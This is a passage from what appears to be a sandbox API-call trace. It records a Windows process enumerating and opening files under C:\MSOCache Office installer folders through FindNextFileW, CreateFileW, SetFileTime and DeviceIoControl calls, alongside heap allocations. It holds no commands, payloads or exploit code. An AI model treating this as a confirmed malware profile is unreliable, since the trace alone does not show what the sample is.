nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0041.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9828 [0041.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d36d8 [0041.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0041.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9848 [0041.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d9ea8 [0041.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.433] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.434] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.435] GetLastError () returned 0x12 [0041.435] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0041.436] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0041.436] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.436] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0041.436] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0041.436] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0041.436] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.436] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.436] GetLastError () returned 0x12 [0041.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0041.441] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0041.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0041.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0041.448] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.448] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.448] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0041.451] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0041.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dbe90 [0041.451] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dbe90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9dbe90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0041.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dbe90) returned 1 [0041.453] NtClose (Handle=0x15c) returned 0x0 [0041.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0041.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0041.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0041.453] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0041.749] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.752] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0041.752] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0041.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0041.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0041.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9888 [0041.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da0b8 [0041.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.778] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0041.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.779] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0041.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.779] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0041.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.782] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0041.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d98a8 [0041.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da1c0 [0041.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x1c0) returned 0x9d4970 [0041.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5470) returned 1 [0041.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.788] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0041.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0041.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d98c8 [0041.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da2c8 [0041.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.792] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0041.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d98e8 [0041.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da3d0 [0041.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.800] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0041.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9908 [0041.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da4d8 [0041.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.804] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0041.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9928 [0041.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da5e0 [0041.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.807] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0041.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9948 [0041.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9da6e8 [0041.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.965] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, 